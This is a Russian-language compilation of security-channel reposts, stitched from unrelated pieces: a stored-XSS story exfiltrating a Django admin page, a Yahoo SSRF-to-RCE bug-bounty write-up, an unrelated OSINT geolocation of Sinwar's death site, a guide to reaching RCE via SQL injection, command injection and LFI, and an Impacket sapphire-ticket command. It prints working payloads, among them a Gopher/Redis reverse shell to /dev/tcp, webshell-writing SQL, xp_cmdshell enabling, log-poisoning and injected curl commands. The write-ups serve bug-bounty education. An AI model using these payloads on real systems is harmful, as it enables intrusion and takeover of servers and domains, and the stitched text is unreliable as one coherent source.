Нам нужно найти альтернативные пути для эксплуатации нашей XSS:

После объяснения, что такое HTTPOnly, давайте углубимся в суть атаки:

Наше путешествие начинается с клиента, который владеет социальной медиа-платформой, на которой размещаются пользовательские посты и раздел комментариев для взаимодействия с другими пользователями.

Страница комментариев приложения выглядит примерно так:

Первое, что сразу приходит в голову, это внедрить тестовый XSS-payload, чтобы увидеть, отражается ли он обратно (временно или постоянно) на фронтенде приложения.

К сожалению, это не сработало из-за защиты CloudFlare, внедренной администратором при развертывании приложения:

Значит от нас потребуется гораздо больше усилий, чтобы обойти эту защиту и внедрить нашу вредоносную XSS нагрузку.

Мы можем попытаться обойти CloudFlare Proxy защиту и раскрыть исходный IP-адрес веб-сервера с помощью некоторых техник или найти HTML / JavaScript нагрузку, которая «обманет» CloudFlare, чтобы тот пометил ее как допустимую для выполнения на фронтенде.

На этот раз я выбрал второй вариант.

Спойлер: Это будет больно...

После нескольких попыток внедрить классические XSS нагрузки из списка xss-payload-list, все XSS, которые я вставил, были отфильтрованы прокси-сервером CloudFlare и помечены как неисполнимые.

На этом этапе я понял, что нужно конкретно постараться и найти специально разработанную нагрузку для обхода CloudFlare защиты.

Наконец, я придумал рабочую нагрузку, которая отразилась обратно в DOM HTML, а именно:

И мы получили отстутк на наш временный вебхук от XSS!

Примечание: важно отметить, что мы имеем дело со stored XSS, так как комментарии сохраняются в базе данных приложения и извлекаются каждый раз, когда пользователь посещает соответствующий раздел комментариев на посте.

Продолжим...

На этом этапе у нас есть проверенная точка инъекции, но этого мало. Нужно найти способ полностью использовать потенциал воздействия этой уязвимости.

Кража cookie администратора исключена (помните о флаге HTTPOnly?). Так что я пришел к осознанию, что мы могли бы манипулировать непосредственно HTML DOM.

Возвращаемся на этап Разведки...

На начальном этапе исследования веб-приложения мой плагин Wappalyzer для Chrome определил, что приложение было написано на Python:

На сегодняшний день существует несколько популярных Python-фреймворков для веб-разработки, такие как Django и Flask.

Изучив исходный код HTML, можно выявить фреймворк Django:

Этот фреймворк обычно управляется через /admin, со страницей под названием «Django Administration»:

Конечно, на этом этапе у меня не было прав администратора, и я получил сообщение об несанкционированном доступе при попытке зайти на страницу с уже авторизованным cookie.

Держитесь... далее ещё интереснее...

Мне пришла блестящая идея! Мы можем отправлять XHR/AJAX запросы на /admin от имени авторизованного пользователя (конечно, с правами администратора).

Это позволит нам украсть HTML-контент страницы Django Admin, извлечь CSRF nonce-токен, а затем отправить GET/POST запрос.

Так как мы работаем в рамках того же домена, в этом сценарии не происходит нарушения Same-origin policy, что позволяет нам изменять и удалять данные клиента, включая сброс их личных паролей 😈

А главная фишка в том, что нам не потребовалась фишинговая атака или какие-либо перенаправления на мою страницу с XSS, так как страница с комментариями изначально доступна всем!

Последняя нагрузка использовала двойной вызов функций JavaScript «fetch» для того, чтобы сначала получить содержимое страницы /admin, а затем отправить ответ обратно на мой экземпляр webhook:

Бинго!

Контент со страницы администратора Django был захвачен в разделе Raw Content, как показано ниже:

И наконец, отрендеренная HTML-страница 🥳

Заключение
В этой статье были продемонстрированы нестандартные способы использования простой XSS атаки, даже с такими сильными защитами, как HTTPOnly.

Никогда не надо недооценивать такую простую уязвимость, как XSS, даже в современных быстро развивающихся веб-приложениях, основанных на передовых технологиях. Ваша фантазия может привести вас к новым высотам — используйте её с умом!

Спасибо за внимание!

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

Часть 1: Разведка

Обычно в bug bounty программе с большим скоупом я начинаю с перечисления субдоменов, чтобы увеличить площадь атаки, но в этом случае я сосредоточился на одном веб-приложении моей цели (Yahoo Mail).

Поскольку я ориентировался только на одно веб-приложение, я начал с инструмента GAU, чтобы получить список URL-адресов и конечных точек. Также я просматривал различные JavaScript-файлы в поисках скрытых конечных точек и провел fuzzing директорий с помощью Ffuf. Таким образом я нашел несколько интересных конечных точек, но ничего, что выглядело бы уязвимым.

Так как первый метод разведки ничего не дал, я попробовал другой — тестирование различных функций веб-приложения, работая с запущенным в фоновом режиме Burp прокси. Все выполненные запросы сохраняются в организованном списке в Burp, что облегчает их просмотр и поиск чего-нибудь интересного или потенциально уязвимого.

После тестирования функций веб-приложения я начал просматривать запросы, сохраненные в журнале прокси, и наткнулся на запрос, похожий на этот:

GET /xxx/logoGrabber?url=http://example.com
Host: mail.yahoo.com
...

GET-запрос, который принимает URL-параметр. Ответ на этот запрос выглядел так и содержит информацию о заголовке и логотипе URL:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

Этот запрос сразу привлёк моё внимание, потому что он возвращал некоторые данные о URL. Каждый раз, когда вы сталкиваетесь с запросом, который возвращает информацию с URL, хорошей идеей будет протестировать его на SSRF.

Часть 2: Обнаружение SSRF

Мои первые попытки эксплуатации SSRF не увенчались успехом. Мне удалось наладить внешнее взаимодействие с моим сервером, но не удалось достучаться до внутренних IP-адресов из-за наличия защиты.

После того как я не смог попасть на внутренние IP-адреса, я решил попробовать атаковать публично известные корпоративные субдомены Yahoo. Я провел перечисление субдоменов и затем начал отправлять запросы ко всем найденным доменам.

В какой-то момент мне повезло, и я обнаружил запросы, которые возвращали данные о заголовке с сайтов, которые не были публично доступны.

Хороший пример этого — субдомен somecorpsite.yahoo.com. Когда я пытался зайти на http://somecorpsite.yahoo.com в своем браузере, запрос просто завершался по тайм-ауту. Но когда я отправил запрос:

GET /xxx/logoGrabber?url=http://somecorpsite.yahoo.com
Host: mail.yahoo.com
...

Ответ содержал внутренний заголовок и информацию о логотипе:

{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.yahoo.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.yahoo.com/logos/logo.png"}}

Теперь, когда я смог получить доступ к внутренним поддоменам, чтобы увидеть заголовки и URL-адреса логотипов, я решил отправить отчет о слепой SSRF (Server-Side Request Forgery). Внутренняя информация о заголовке не содержала ничего слишком конфиденциального, и никакое другое содержимое страниц не было возвращено, поэтому я предположил, что это будет считаться довольно малозначительным слепым SSRF. Однако у меня закончились идеи, как это можно было бы усугубить, и я решил отправить отчет в текущем виде.

Спустя некоторое время отчет был принят и отправлен на рассмотрение.

Часть 3: RCE (Удалённое выполнение кода)

Прошел примерно месяц с тех пор, как мой первоначальный отчет был принят на рассмотрение. Я был рад, что его триажировали, но понимал, что воздействие низкое, и, скорее всего, я не получу от этого ничего значительного.

SSRF всё ещё оставался и не был исправлен, поэтому я решил провести дополнительные исследования, чтобы попытаться раскрутить уязвимость. В процессе исследований я узнал, что протокол Gopher является отличным способом для эскалации SSRF, и в некоторых случаях это может привести к полному удалённому выполнению кода (RCE).

Чтобы проверить, поддерживается ли протокол Gopher, я отправил запрос, подобный следующему:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: mail.yahoo.com
...

К сожалению, запрос сразу завершился неудачей и привел к ошибке. Запроса к моему Burp collaborator так и не поступило, поэтому казалось, что протокол Gopher не поддерживается.

Продолжая тестирование, я прочитал в интернете, что перенаправления могут быть отличным способом обхода некоторых мер защиты от SSRF, поэтому решил проверить, следит ли сервер за перенаправлениями.

Чтобы проверить, работают ли перенаправления, я настроил Python HTTP-сервер, который перенаправлял весь GET-трафик на URL моего Burp collaborator с кодом 302:

python3 302redirect.py port “http://mycollaboratorurl/”

Затем я отправил запрос, подобный следующему, чтобы проверить, приведёт ли редирект к моему collaborator:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

После отправки запроса я заметил, что редирект был выполнен, в результате чего был зафиксирован запрос на мой Burp Collaborator. Таким образом, я подтвердил, что редиректы с кодом 302 выполняются…

Теперь, когда у меня заработали редиректы, я решил протестировать это с протоколом gopher. Первоначальная отправка gopher-пэйлоада напрямую в запросе вызывала ошибку сервера, поэтому я настроил сервер редиректов следующим образом:

python3 302redirect.py port “gopher://mycollaboratorurl/”

Затем снова отправил запрос на мой сервер

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

К моему удивлению, запрос был успешным — редирект сработал, и я получил запрос на URL моего Burp Collaborator! Был какой-то фильтр против URL с Gopher протоколом, но если я перенаправлял с собственного сервера, фильтр легко обходился; редирект срабатывал, и Gopher-пейлоад выполнялся!

Через редирект выполнялись не только Gopher-пейлоады. Я осознал, что теперь могу обращаться и к внутренним IP-адресам, таким как 127.0.0.1, которые ранее были отфильтрованы.

Теперь, когда у меня начали работать полезные нагрузки и я мог обращаться к внутренним хостам, мне нужно было выяснить, с какими сервисами я мог взаимодействовать для эскалации. После некоторых поисков я наткнулся на инструмент Gopherus, который генерирует полезные нагрузки Gopher для эскалации SSRF. Он включает полезные нагрузки для следующих сервисов:

- MySQL (порт 3306)
- FastCGI (порт 9000)
- Memcached (порт 11211)
- Redis (порт 6379)
- Zabbix (порт 10050)
- SMTP (порт 25)

Чтобы определить, открыты ли какие-либо из этих портов на 127.0.0.1, я использовал SSRF и время отклика для сканирования портов.

Для этого я выполнял 302 редирект с моего веб-сервера на gopher://127.0.0.1:порт, а затем отправлял запрос.

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

Я мог определить открытые порты, потому что время отклика запроса было долгим, если порт закрыт, и коротким, если порт открыт. Используя этот метод сканирования портов, я проверил все 6 указанных выше портов. Один из портов, похоже, был открыт — порт 6379 (Redis).

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…

Теперь всё стало выглядеть действительно хорошо. Казалось, у меня есть всё, что нужно:

- Протокол Gopher, принимающий 302 редирект
- Возможность отправлять gopher-пейлоады на localhost
- Идентифицирована потенциально уязвимая служба, работающая на localhost

Используя Gopherus, я сгенерировал пейлоад для реверс-оболочки Redis, который в итоге выглядел так:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Если бы этот пейлоад оказался успешным, это привело бы к выпонению обратной оболочки (reverse shell) на мой netcat. Я запустил свой сервер для выполнения 302 редиректа на gopher-пейлоад следующим образом:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

Как только мой веб-сервер был запущен, я также начал слушать на порту 1337 с помощью Netcat, чтобы поймать любой входящий обратный шелл.

И вот, наконец, момент истины. Я отправил запрос:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

И… ничего. Ничего не произошло. Я увидел, что запрос пришел на мой сервер перенаправления, но обратного шелла к моему Netcat так и не вернулось. На этом все, подумал я. Никакого RCE.

Я предположил, что, возможно, мой скан портов дал ложноположительный результат и на localhost никакого Redis сервера не запущено.

Я принял поражение и начал всё закрывать. Я буквально держал курсор мыши на кнопке закрытия в терминале, в котором запускался netcat, в миллисекундах от того, чтобы нажать и закрыть его, когда вдруг...

Честно говоря, я не понимаю, почему такая задержка, но через 5 минут после отправки запроса я получил обратную оболочку. Я так рад, что оставил слушатель включённым, иначе я бы никогда не узнал, что получил удалённое выполнение кода.

Я запустил команду whoami, чтобы убедиться, что у меня действительно есть RCE (и я был root!), а потом сразу отключился и обновил свой изначальный отчёт, добавив новую информацию.

Эта уязвимость была обнаружена/зарегистрирована в мае 2020 года и на данный момент закрыта как исправленная.

В итоге я получил выплату в размере $15,000 за это обнаружение, а также несколько приятных комплиментов от The Paranoids!

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

В рамках своего объявления медиаканал ЦАХАЛа в Telegram поделился изображениями и видео, снятыми на месте, где, как они заявили, был убит Синвар.

Используя видео ЦАХАЛа, а также изображения, опубликованные ЦАХАЛом в их сообщении в Telegram, и ранее геолокированные добровольцами видео, можно установить местоположение дома в районе Тал ас-Султан в Газе на координатах 31.3055, 34.2467.

Визуальные элементы предоставляют несколько подсказок для поиска геолокации дома, видимого на видео и изображениях ЦАХАЛа. Основные из них - беседка рядом с деревом и красное здание на заднем плане, рядом с пальмой.

На кадрах также видна, похожая на жилую, белая башня, с треугольной оранжевой крышей.

Наконец, на кадрах видно здание, примыкающее к дому с характерным набором плиток на стене.

Эти плитки также были замечены на фотографии, опубликованной военным корреспондентом Times of Israel Манни Фабианом. На этих фотографиях также был изображён мешок для тела, в котором, как утверждалось, находился труп Синвара.

Изначально сообщалось, что инцидент, приведший к смерти Синвара, произошел в районе Таль ас-Султан в Рафахе. Поэтому мы начали поиск в этой области, ориентируясь на некоторые из вышеупомянутых визуальных признаков.

Самым легким для поиска оказалось беседка, так как рядом с ней было дерево и она имела характерную шестигранную крышу.

Одна из таких областей с беседкой и деревом была найдена на координатах 31.3051, 34.2466, используя изображение SkySat от Planet Labs PBC.

С учетом того, что область интереса теперь была еще более сужена, мы начали искать ранее подтвержденные изображения или видео этого района, используя интерактивную карту, предоставленную платформой геолокации Geoconfirmed.

Карта Geoconfirmed содержала два видео этого района, которые оказались полезными. Первое видео было снято в конце мая и показывало вид из района возле Эмиратского госпиталя в Рафахе. В первые секунды видео можно увидеть белую жилую башню, которая, по-видимому, соответствует той, что на фоне фотографии ЦАХАЛ. Башня, расположенная на координатах 31.3055, 34.2455, была геолокализована волонтером Geoconfirmed.

Еще одно видео, предоставляющее подсказку, — это видео, снятое из машины солдатом ЦАХАЛ и выложенное в сеть в сентябре. Маршрут, геолокализованный волонтером Geoconfirmed, проходит прямо возле места, расположенного рядом с беседкой.

Более того, здание, видимое на ранее упомянутой фотографии, на которой запечатлены солдаты ЦАХАЛ около отличительных плиток, можно увидеть на видео (на отметке 1:47), геолокализованном Geoconfirmed.

С левой стороны экрана на видео можно увидеть здание, в котором в конечном итоге был найден Синвар. Этот дом имеет желто-белый узор, видимый как на видео из Telegram, так и на изображении с солдатами ЦАХАЛ.

Идентификация этого здания была дополнительно подтверждена другим видео, позже выпущенным ЦАХАЛ, в котором показан Синвар в момент гибели.

В первую секунду видео видна внешняя часть здания. Сравнив с видео проезда ЦАХАЛ от сентября, мы можем сопоставить часть повреждений, которые видны на более позднем видео. Форма окон и цвет здания также совпадают.

Хотя ранее не было справочных изображений красного здания и дерева, о которых подробно говорилось, их расположение совпадает с направлением камеры, когда смотришь на юг от здания, где был убит Синвар.

Оба объекта можно увидеть на видео ЦАХАЛ, а также на изображениях Google Earth.

Все эти шаги помогли нам установить дом, в котором было найдено тело Синвара. Из заявлений ЦАХАЛ и сообщений СМИ не ясно, как долго Синвар и другие убитые бойцы ХАМАС находились в здании.

Судя по изображениям Planet Labs, можно увидеть, что ЦАХАЛ начал действовать в районе дома в конце августа и начале сентября, именно тогда здания и растительность в окрестностях дома начали разрушаться.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

В этой статье мы рассмотрим распространённые методы получения RCE, включая SQL-инъекции, командные инъекции, path traversal, Local File Inclusion (LFI) и уязвимости в загрузке файлов. Для каждого вектора атаки мы приведём примеры и реальные случаи из моей практики, чтобы продемонстрировать их влияние.

SQL-инъекция

SQL-инъекция широко известна как одна из самых известных веб-атак, предоставляющих злоумышленнику контроль над базой данных цели. SQL-инъекция может быть ещё опаснее, помимо кражи данных она позволяет злоумышленнику выполнять команды на операционной системе цели. RCE через SQL-инъекцию возможно когда злоумышленники используют запросы к базе данных для выполнения системных команд. Разные системы управления базами данных, такие как MySQL, PostgreSQL и MSSQL, обладают различными возможностями для выполнения команд на уровне операционной системы.

Важно отметить, что манипуляции выполняются с сервисом SQL, а не с веб-сервером (например, Apache или Nginx). Таким образом, достижение RCE зависит от привилегий, которыми обладает SQL-сервис на целевом сервере.

MySQL

Предположим, что вы нашли оператор SELECT, который позволяет вам внедрить вредоносный запрос. У вас есть два основных направления атаки. Первый и наиболее предпочтительный — использование функции OUTFILE в MySQL. Опция OUTFILE в MySQL используется для записи результата запроса в файл на файловой системе сервера. Мы можем использовать эту функцию, чтобы записать, например webshell, выполнив что-то вроде следующего:

' UNION SELECT "<?php exec($_GET['shell']) ?>" INTO OUTFILE "/var/www/html/upload.php";

У меня был случай, когда при попытке выполнить эту операцию я получал сообщения об ошибках, указывающие на то, что у службы MySQL недостаточно прав для записи файла в указанные мной каталоги. Однако после нескольких попыток изменения пути файла мне повезло найти путь, в котором я смог записать файл.

Второй путь в случае SQL-инъекции в MySQL — использование функции LOAD_FILE(). Функция LOAD_FILE() в MySQL используется для чтения содержимого файла, находящегося на сервере, и возврата его в виде строки. Обычно она применяется для получения содержимого текстовых файлов, таких как файлы конфигурации или логи, в результате запроса. Если эта функция работает, можно попытаться использовать её для атаки path traversal с целью чтения конфиденциальных файлов с сервера, надеясь найти, например, приватные ключи SSH или пароли. Однако этот метод менее перспективен по сравнению с ранее упомянутой функцией.

PostgreSQL

В PostgreSQL у нас также есть несколько доступных вариантов. Первый из них — использование функции COPY для создания нового файла, что весьма похоже на пример с MySQL, рассмотренный ранее:

1; COPY (SELECT '<?php system($_GET["shell"]) ?>') TO '/var/www/html/chux.php'; --

Для чтения конфиденциальных файлов на системе можно использовать функцию pg_read_file():

SELECT pg_read_file('/var/www/html/.env',0,1000);

Ещё один, более креативный способ добиться RCE в данной DBMS — использование скриптовых языков, установленных в системе, для выполнения произвольного кода. Следующий запрос может показать, какие скриптовые языки поддерживаются в целевой базе данных:

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Если на системе поддерживается скриптовый язык, вы можете использовать его для создания пользовательского скрипта, чтобы выполнить всё, что вам нужно:

1; CREATE FUNCTION rce() RETURNS VOID AS $$
import os
os.system('echo pwned > /tmp/chux.txt')
$$ LANGUAGE plpythonu; SELECT rce(); --

Для дополнительного изучения эксплуатации скриптовых языков PostgreSQL для достижения RCE, ознакомьтесь с этим превосходным руководством.

И наконец, ещё один интересный приём для PostgreSQL, который я узнал из OWASP и применил его на одном коммерческом сайте, заключается в инъекции пользовательской функции, связанной с libc.

Чтобы реализовать это, необходимо выполнить следующие шаги:
1. Создать таблицу для вывода результата (stdout).
2. Запустить shell-команду, которая будет ссылаться на этот вывод.
3. Использовать функцию COPY, чтобы получить результат выполнения вашей shell-команды в созданную таблицу.

Пример с сайта OWASP выглядит следующим образом:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'

STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

MSSQL

Здесь существуют известные хранимые процедуры, которые помогают выполнять команды ОС непосредственно из базы данных.
Нативный способ выполнения команд операционной системы на сервере MSSQL заключается в использовании xp_cmdshell. Эта хранимая процедура по умолчанию отключена и может быть активирована только пользователем sa (системным администратором).

Пример простой команды с использованием xp_cmdshell:

EXEC xp_cmdshell 'ipconfig';

Предположим, что вам удалось найти уязвимое место для инъекции. Если у вас есть доступ к пользователю sa или другой учетной записи с достаточными привилегиями, вы можете получить RCE на целевой системе!
Если же у вас есть достаточно прав для запуска xp_cmdshell, но эта функция отключена, вы можете включить ее с помощью следующей команды:

1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

И, наконец, для выполнения любой команды вы можете использовать:

1; EXEC xp_cmdshell 'ping chux.io'; EXEC xp_cmdshell 'dir C:\\users'; --

Здесь стоит упомянуть, что кроме xp_cmdshell, есть еще несколько хранимых процедур, которые можно использовать для манипуляций с целевым сервером:
xp_regread — чтение из реестра. Пример:

EXEC xp_regread 
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SOFTWARE\Microsoft\Windows Defender',
    @value_name = 'DisableAntiSpyware';

xp_regwrite — запись в реестр. Пример:

EXEC xp_regwrite 
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SYSTEM\CurrentControlSet\Services\MyService',
    @value_name = 'Start',
    @type = 'REG_DWORD',
    @value = '2';

sp_send_dbmail — замена xp_sendmail. Пример:

EXEC msdb.dbo.sp_send_dbmail  
    @profile_name = 'DefaultProfile',  
    @recipients = 'chux@chux.io',  
    @subject = 'Test Email',  
    @body = 'This is a test email sent from SQL Server.';

Подводя итог «от SQLi до RCE» - существует много способов выполнить произвольный код на сервере через SQL-сервис. Конечно, как правило, рекомендуется, чтобы системные администраторы предоставляли минимально необходимые привилегии этим службам, а упомянутые SQL-функции должны быть отключены, поскольку обычно они используются крайне редко.

И всё же, я до сих пор находил достаточно SQL-серверов, которые могут читать/записывать файлы на сервере. Поэтому, если вы обнаружили SQL-инъекцию, всегда пытайтесь определить свои привилегии, чтобы максимально увеличить максимальный профит!

Command Injection

Это самая классическая уязвимость RCE (удаленное выполнение кода), которую каждый из нас хотел бы найти. Хотя в наши дни она уже не так распространена, всё же её можно встретить во множестве IoT устройств, особенно в роутерах. К счастью, мне также встречались веб-приложения, обычно созданные на PHP и NodeJS, которые использовали некоторые функции операционной системы в сочетании с пользовательскими параметрами для выполнения команд на сервере, что позволяло злоумышленнику довольно легко получить RCE.

Классическая инъекция

Во время одного black-box тестирования я наткнулся на внутреннее веб-приложение, в котором одна из функций позволяла пользователю ввести URL веб-сайта организации, чтобы скачать оттуда файл и затем предоставить его пользователю после конвертации формата.

Я предположил, что за кулисами разработчик мог использовать команды curl или wget, передавая URL-адрес, введённый пользователем, в качестве аргумента. Я представил себе что-то вроде:

<?php
function downloadFile($url) {
    $getfile = "wget $url -O downloaded_file";
    system($getfile); 
    echo "File downloaded successfully!";
}
if (isset($_GET['file'])) {
    downloadFile($_GET['file']);
}
?>

Итак, если код в веб-приложении похож на тот, который я описал выше, мы можем предоставить URL, а затем просто добавить что-то вроде “; curl chux.io #”, чтобы подтвердить нашу теорию.

В этом случае это сработало, и у меня была слепая инъекция команд, что сделало возможным запуск обратной оболочки или загрузку webshell.

Second Order Injection

Second Order Injection происходят, когда уязвимая функция выполняет код, сохраненный в базе данных, без прямого ввода пользователя в саму уязвимую функцию.

В ходе просмотра кода другого внутреннего веб-приложения для туристической компании я обнаружил функцию, которая загружает документы с FTP-серверов в сети, используя что-то похожее на следующий код:

<?php
function connectToFTP($server_id) {
    global $conn;
    $query = "SELECT ip_address FROM doc_servers WHERE id=$server_id";
    $result = $conn->query($query);
    $row = $result->fetch_assoc();
    $ip_address = $row['ip_address'];
    system("ftp $ip_address");  
}
if (isset($_GET['server_id'])) {
    connectToFTP($_GET['server_id']);
}
?>

Код выше берет IP-адрес сервера из базы данных и передает его в функцию system() без какой-либо валидации. Я сразу же стал искать место в коде, которое отвечает за добавление или редактирование IP-адресов серверов, и к моему удивлению, валидация была только на стороне клиента!

Итак, я создал новый сервер и ввел следующий IP-адрес в поле:

127.0.0.1; echo 'pwned' > /var/www/html/chux.txt / #

И как ожидалось, когда я выполнил FTP-функцию для получения документов с сервера, мой файл был создан на веб-сервере, что стало доказательством критической уязвимости!

Path Traversal

Эта атака известна тем, что позволяет злоумышленникам читать произвольные файлы на сервере, но не выполнять код напрямую. Однако в некоторых случаях я обнаруживал, что эта атака является отличным способом получить RCE.

Файлы, которые я обычно ищу, чтобы эскалировать эту атаку:
• SSH-ключи (/home/*/.ssh/id_rsa)
• .env файлы — обычно содержат секреты и учетные данные
• Bash-скрипты — могут содержать учетные данные для серверов и баз данных
• web.config — в .NET приложениях этот файл может содержать MachineKey, что может привести к атаке десериализации ViewState

Эта атака не предоставляет нам напрямую выполнение кода на сервере, но, если мы тщательно исследуем файловую систему, мы сможем найти полезную информацию для подключения к цели.

Один из моих любимых примеров силы path traversal — это CVE-2021–41773 & CVE-2021–42013.

Local File Inclusion (LFI)

В отличие от предыдущей уязвимости, с LFI мы не только можем читать файлы на сервере, но и выполнять PHP код!

Если целевое приложение использует одну из популярных PHP-функций:
• require()
• include()
• require_once()
• include_once()

Мы должны проверить, можно ли передать этим функциям путь к файловой системе сервера. Наиболее распространенные методы, с которыми я столкнулся в реальных атаках, — это отравление логов и загрузка файлов.
При отравлении логов нужно проверить, к каким файлам на сервере мы можем получить доступ с правами веб-сервера. Например:

• /var/log/apache2/access.log
• /var/log/apache2/error.log
• /var/log/auth.log
• /var/log/mail.log

Если нам удастся добавить строку PHP в один из этих логов, то мы сможем получить RCE на целевом сервере. Например, если мы можем читать auth.log, то можно «отравить» его, просто совершив неудачную попытку подключения по SSH:

ssh "<?php system('curl chux.io'); ?>@10.20.30.40"

Доступ к auth.log через функцию PHP, такую как include(), приведет к выполнению кода в файле журнала!

Другим распространенным вариантом является использование LFI через загрузку файлов. Если есть защита от загрузки файлов, которая, например, имеет белый список только для jpg-файлов, мы можем использовать Exiftool для внедрения нашего PHP-кода в комментарий или любой другой атрибут файла, а затем просто загрузить его как jpg. Прямой доступ к загруженному файлу не приведет к выполнению нашего кода, но доступ к нему через LFI заставит код работать!

Уязвимость file upload

Это, возможно, одна из моих любимых атак. Каждый раз, когда я вижу эту функциональность, я трачу много времени, пытаясь ее использовать.
В этой статье я не буду углубляться в методологию тестирования, но рекомендую прочитать мои предыдущие статьи на эту тему:
• 5 Advanced Ways I Test For File Upload Vulnerabilities
• From File Upload To LFI

Однако в большинстве случаев функционал загрузки файлов может быть далеко непростым. От загрузки веб-оболочки до XXE и уязвимостей произвольного чтения файлов, все должно быть очень тщательно протестировано.

У меня есть друг, который тестировал веб-приложение на NodeJS на уязвимость file upload и нашел способ загружать JS файлы вместе с обходом каталогов. В конечном итоге это привело к отказу в обслуживании, когда он случайно перезаписал оригинальный index.js файл на сервере.

Совсем недавно у меня был обзор кода для PHP-веб-приложения, и следующий код меня шокировал:

Как видите, нет никаких ограничений на загрузку файлов, и это в уважаемой компании.

Функция загрузки файлов — отличное место для поиска вашей следующей критической уязвимости, не сдавайтесь после первой неудачной попытки загрузить файл .php!

Итог

Существует множество различных способов достижения удаленного выполнения кода с использованием различных уязвимостей. Здесь мы упомянули только несколько, которые, по моему опыту, были наиболее распространенными в реальных случаях.

Хотя существуют «очевидные» уязвимости для RCE, такие как инъекция команд и загрузка файлов, в некоторых случаях мы можем получить чрезвычайно высокую ценность, используя SQLi или доступ к файлам (path traversal).

Когда вы изучаете новую тему или находите новую уязвимость в своих проектах, потратьте достаточно времени, чтобы найти способ эскалации вашей атаки. Я читал о случаях, когда даже CSRF можно было преобразовать в RCE.

Удачи в поиске вашей следующей RCE уязвимости, хакеры!

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

Теория

Сапфировые билеты похожи на Алмазные билеты тем, что билет не подделывается, а легитимно получается после запроса. Различие заключается в том, как модифицируется PAC. Подход с Алмазным билетом модифицирует легитимный PAC. В подходе с Сапфировым билетом PAC другого привилегированного пользователя получается с помощью S4U2self+u2u. Этот PAC затем заменяет тот, который представлен в легитимном билете. Процесс состоит из легитимных элементов (начиная со стандартного запроса билета), что делает его самым сложным вариантом для обнаружения.

Практика

Поскольку Алмазные билеты модифицируют PAC в реальном времени, чтобы включить произвольные идентификаторы групп, есть вероятность, что какое-то программное обеспечение способно выявлять несоответствия между значениями PAC и реальными данными Active Directory (например, PAC указывает, что пользователь принадлежит к определённым группам, хотя на самом деле это не так).

Сапфировые билеты являются альтернативой для получения аналогичных билетов более скрытым способом, используется легитимный PAC привилегированного пользователя. Больше не будет несоответствий между тем, что находится в PAC, и тем, что имеется в Active Directory.

Ticketer из Impacket может быть использован для реализации этой атаки на UNIX-подобных системах.

ticketer.py -request -impersonate 'domainadmin' -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' -user-id '1115' -domain-sid 'S-1-5-21-...' 'baduser'

Важно отметить: аргумент -user-id будет использоваться для построения структуры PAC "Заказчика". Аргументы, используемые для настройки PAC, будут игнорироваться (-groups, -extra-sid, -duration). Также будет игнорироваться SID домена (-domain-sid) и имя пользователя, переданное в позиционном аргументе (в данном случае, baduser). Вся эта информация будет взята в неизменном виде из PAC, полученного ранее с использованием техники "S4U2self + U2U".

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

